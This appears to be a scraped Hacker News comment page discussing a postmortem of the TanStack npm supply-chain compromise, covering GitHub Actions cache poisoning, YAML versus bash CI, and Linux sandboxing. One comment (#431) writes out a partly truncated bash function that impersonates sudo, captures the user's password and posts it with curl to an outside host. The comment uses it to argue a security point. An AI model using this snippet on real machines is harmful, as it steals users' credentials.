Live data from Hacker News

Postmortem: TanStack NPM supply-chain compromise

tanstack.com

431–440 of 501 posts

Re: Postmortem: TanStack NPM supply-chain compromise

#431
post #179

Earlier quoted context omitted.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

> Sudo is security theater. Yes indeed. > Malware can make a fake unprivileged sudo that sniffs your password. Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su . So basically only root can use su and nobody else. Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so…

>but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so login from tty2 ain't really an option

My phone password is that long, we’re still only talking about taking a few seconds to enter it when sober.

Most people will quickly develop the necessary muscle memory in regular use.

Re: Postmortem: TanStack NPM supply-chain compromise

#432

Earlier quoted context omitted.

To my ears it “since years” sounds like it’s missing an “ago” after it (or like the GP said “for years” sounds even more natural). It makes me think of another similar one: I've noticed that British English speakers will say e.g. "the new iPhone will be available from September 20th" To my ears that sounds like it's missing an “onwards” after it (or “starting September 20th” would sound even more natural).

Is the meaning different? I'm struggling to see how "from September 20th" would have a different implication to "starting from September 20th" (or similar) given the context.

The meaning is the same, it just sounds weird to my ears in the same way that “since years” does

(Also I just noticed the extra “it” in my previous comment, oops).

Re: Postmortem: TanStack NPM supply-chain compromise

#434

What I want to focus on is mental model of your CI pipeline, and problem with too much YAML, consider this quote: > Cache scope is per-repo, shared across pull_request_target runs (which use the base repo's cache scope) and pushes to main. A PR running in the base repo's cache scope can poison entries that production workflows on main will later restore. This is very difficult to understand, and teach to new people,…

This is a problem with all of devops imo - everything is a magic yaml config file and they're very difficult to debug or reason about unless you _just know things_.

Because most modern development practices assume you work at a trillion dollar corporation and can subsidize very poor unscalable business practices. It's baffling, especially when modern solutions are worse at making maintainable software not better IMO.

Re: Postmortem: TanStack NPM supply-chain compromise

#435

What I want to focus on is mental model of your CI pipeline, and problem with too much YAML, consider this quote: > Cache scope is per-repo, shared across pull_request_target runs (which use the base repo's cache scope) and pushes to main. A PR running in the base repo's cache scope can poison entries that production workflows on main will later restore. This is very difficult to understand, and teach to new people,…

The other advantage with bash is that most developers can run it locally to validate what it is doing and debug issues. With GitHub Actions you need to always commit and push, slowing down the DX.

Commit, Push, & Pray.

Re: Postmortem: TanStack NPM supply-chain compromise

#436
post #429

What I want to focus on is mental model of your CI pipeline, and problem with too much YAML, consider this quote: > Cache scope is per-repo, shared across pull_request_target runs (which use the base repo's cache scope) and pushes to main. A PR running in the base repo's cache scope can poison entries that production workflows on main will later restore. This is very difficult to understand, and teach to new people,…

> What if your CI pipeline was old-school bash script instead? It doesn't matter if the cache is accessed through `actions/cache` in YAML or `curl -X POST $GITHUB_CACHE_URL I cannot fathom why they chose to support this at all, let alone make it the default for any action trigger. Any writeable data should be scoped to users/groups and require credentials. It should be impossible to write to a shared cache without ex…

If I saw this in my CI script:

    curl -X POST $GITHUB_CACHE_URL 
It would make me pause, but now that it is a misfeature in YAML configuration it is more widely used. Point of bash scripts they are auditable, and understandable.

I didn't prescribe what the bash script would be, because it would differ on use case. If I wanted to share artifacts from other runs I would probably use podman and make sure I start new runs from known good condition, but because I understand that. Some other would use nix or whatever else.

Re: Postmortem: TanStack NPM supply-chain compromise

#437

Earlier quoted context omitted.

This is a problem with all of devops imo - everything is a magic yaml config file and they're very difficult to debug or reason about unless you _just know things_.

Because most modern development practices assume you work at a trillion dollar corporation and can subsidize very poor unscalable business practices. It's baffling, especially when modern solutions are worse at making maintainable software not better IMO.

Agree. It's unfortunate that people new to development are encouraged to embrace practices that large teams in big companies have had to adopt. It might make sense for career development, but it makes for a miserable development experience, especially for someone new to it, wanting to build something for themselves. No joy in it.

Re: Postmortem: TanStack NPM supply-chain compromise

#439

No way to prevent this, says only package manager where this regularly happens.

This was a GitHub Actions hack, nothing related to publishing on npm was compromised.

No way to prevent this, says only CI platform (owned by the same company who owns the package manager) where this regularly happens.

Re: Postmortem: TanStack NPM supply-chain compromise

#440

All of this happens because Linux doesn't have sandboxing built-in, and sandboxes on Linux are extremely difficult to build (if you want to have graphics and GPU access, sound, file access from sandbox and prevent access to hardware identifiers and serial numbers). Linux has sandboxes like flatpak, but they are leaky (flatpak grants access to /proc and /sys) and buggy (software like Steam inside flatpak sandbox has m…

> Compare this to Android where you can run malware and it cannot do anything except for annoying you with notifications.

Are you sure it cannot do anything? Looking through various past malware/exploits, this doesn't seem to be the case.

Post reply on HN